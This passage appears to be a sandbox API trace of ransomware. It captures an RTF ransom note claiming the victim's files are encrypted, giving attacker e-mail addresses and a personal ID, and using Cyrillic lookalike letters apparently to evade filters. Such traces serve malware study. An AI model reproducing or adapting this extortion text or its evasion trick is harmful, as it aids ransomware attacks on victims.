PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd 